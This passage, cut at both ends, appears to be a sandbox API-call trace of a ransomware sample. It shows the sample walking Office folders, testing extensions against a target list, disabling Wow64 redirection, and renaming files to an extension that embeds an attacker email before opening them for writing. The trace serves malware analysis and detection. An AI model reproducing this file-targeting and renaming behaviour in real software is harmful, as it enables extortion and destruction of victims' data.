ftLastAccessTime.dwLowDateTime=0x59a53950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x5f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0065.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4468 [0065.867] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.867] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 [0065.871] FindClose (in: hFindFile=0x6b4468 | out: hFindFile=0x6b4468) returned 1 [0065.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x36b1300 | out: hHeap=0x5c0000) returned 1 [0065.872] FindNextFileW (in: hFindFile=0x6b43a8, lpFindFileData=0x2edf58c | out: lpFindFileData=0x2edf58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x755a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1 [0065.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4468 [0065.876] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.876] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0065.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b44e8 [0065.878] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.878] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 1 [0065.878] FindClose (in: hFindFile=0x6b44e8 | out: hFindFile=0x6b44e8) returned 1 [0065.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fa5880 | out: hHeap=0x5c0000) returned 1 [0065.878] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0065.879] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b44e8 [0065.879] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.879] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 1 [0065.879] FindClose (in: hFindFile=0x6b44e8 | out: hFindFile=0x6b44e8) returned 1 [0065.879] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fa5880 | out: hHeap=0x5c0000) returned 1 [0065.879] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0065.880] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b44e8 [0065.880] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.880] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 1 [0065.880] FindClose (in: hFindFile=0x6b44e8 | out: hFindFile=0x6b44e8) returned 1 [0065.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fa5880 | out: hHeap=0x5c0000) returned 1 [0065.880] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69511700, ftLastWriteTime.dwHighDateTime=0x1c4a9a0, nFileSizeHigh=0x0, nFileSizeLow=0x39cf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.LEX", cAlternateFileName="")) returned 1 [0065.881] FindClose (in: hFindFile=0x6b4468 | out: hFindFile=0x6b4468) returned 1 [0065.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x36b1300 | out: hHeap=0x5c0000) returned 1 [0065.882] FindNextFileW (in: hFindFile=0x6b43a8, lpFindFileData=0x2edf58c | out: lpFindFileData=0x2edf58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1 [0065.882] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4468 [0065.886] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.886] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB10.BDR", cAlternateFileName="")) returned 1 [0065.886] FindClose (in: hFindFile=0x6b4468 | out: hFindFile=0x6b4468) returned 1 [0065.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x36b1300 | out: hHeap=0x5c0000) returned 1 [0065.888] FindNextFileW (in: hFindFile=0x6b43a8, lpFindFileData=0x2edf58c | out: lpFindFileData=0x2edf58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aef100, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aef100, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xddf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0065.888] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4468 [0065.892] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.893] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x2edf310 | out: lpFindFileData=0x2edf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCSBAR.POC", cAlternateFileName="")) returned 1 Thread: id = 14 os_tid = 0xc0 [0044.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x36212b8 [0044.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x36312c0 [0044.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610b10 [0044.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x61a248 [0044.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610b28 [0044.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3a60020 [0044.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610b40 [0044.091] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610b40, Size=0x20) returned 0x35f0110 [0044.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610b40 [0044.091] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610b40, Size=0x20) returned 0x35f0138 [0044.091] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0044.091] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0044.091] Wow64DisableWow64FsRedirection (in: OldValue=0x312ff58 | out: OldValue=0x312ff58*=0x0) returned 1 [0044.091] lstrlenW (lpString="kernel32.dll") returned 12 [0044.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x35f0110 | out: hHeap=0x5c0000) returned 1 [0044.091] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0044.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x35f0138 | out: hHeap=0x5c0000) returned 1 [0044.091] Sleep (dwMilliseconds=0x64) [0044.381] Sleep (dwMilliseconds=0x64) [0044.510] Sleep (dwMilliseconds=0x64) [0044.916] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0044.920] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0044.921] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0045.066] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x312ff1c | out: lpFileSize=0x312ff1c*=47452) returned 1 [0045.066] CloseHandle (hObject=0x17c) returned 1 [0045.066] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0045.066] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.066] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.067] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0045.067] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0045.067] lstrlenW (lpString=".doc") returned 4 [0045.067] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0045.067] lstrlenW (lpString=".docx") returned 5 [0045.067] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0045.067] lstrlenW (lpString=".pdf") returned 4 [0045.067] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0045.067] lstrlenW (lpString=".xls") returned 4 [0045.068] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0045.068] lstrlenW (lpString=".xlsx") returned 5 [0045.068] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0045.068] lstrlenW (lpString=".ppt") returned 4 [0045.068] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0045.068] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0045.068] lstrlenW (lpString=".zip") returned 4 [0045.068] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0045.068] lstrlenW (lpString=".rar") returned 4 [0045.068] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0045.068] lstrlenW (lpString=".bz2") returned 4 [0045.068] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0045.068] lstrlenW (lpString=".7z") returned 3 [0045.068] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0045.068] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0045.068] lstrlenW (lpString=".dbf") returned 4 [0045.068] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0045.068] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0045.068] lstrlenW (lpString=".1cd") returned 4 [0045.068] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0045.068] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0045.069] lstrlenW (lpString=".jpg") returned 4 [0045.069] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0045.069] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0045.069] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0045.069] lstrlenW (lpString=".doc") returned 4 [0045.069] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0045.069] lstrlenW (lpString=".docx") returned 5 [0045.069] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0045.069] lstrlenW (lpString=".pdf") returned 4 [0045.069] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0045.069] lstrlenW (lpString=".xls") returned 4 [0045.069] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0045.069] lstrlenW (lpString=".xlsx") returned 5 [0045.069] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0045.069] lstrlenW (lpString=".ppt") returned 4 [0045.069] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0045.069] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0045.069] lstrlenW (lpString=".zip") returned 4 [0045.069] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0045.069] lstrlenW (lpString=".rar") returned 4 [0045.070] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0045.070] lstrlenW (lpString=".bz2") returned 4 [0045.070] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0045.070] lstrlenW (lpString=".7z") returned 3 [0045.070] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0045.070] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0045.070] lstrlenW (lpString=".dbf") returned 4 [0045.070] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0045.070] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0045.070] lstrlenW (lpString=".1cd") returned 4 [0045.070] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0045.070] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0045.070] lstrlenW (lpString=".jpg") returned 4 [0045.070] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0045.070] Sleep (dwMilliseconds=0x64) [0045.489] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0045.489] lstrlenW (lpString="PptLR.cab") returned 9 [0045.489] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0046.188] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x312ff1c | out: lpFileSize=0x312ff1c*=70361744) returned 1 [0046.189] CloseHandle (hObject=0x1a0) returned 1 [0046.189] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0046.189] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0046.189] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0046.189] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0046.190] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc6c | out: 